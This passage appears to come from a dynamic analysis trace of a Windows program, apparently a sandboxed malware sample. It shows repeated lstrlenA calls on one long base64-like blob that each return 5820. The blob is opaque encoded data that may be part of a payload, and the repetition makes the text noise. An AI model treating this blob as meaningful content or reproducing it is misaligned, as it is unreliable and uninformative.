HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="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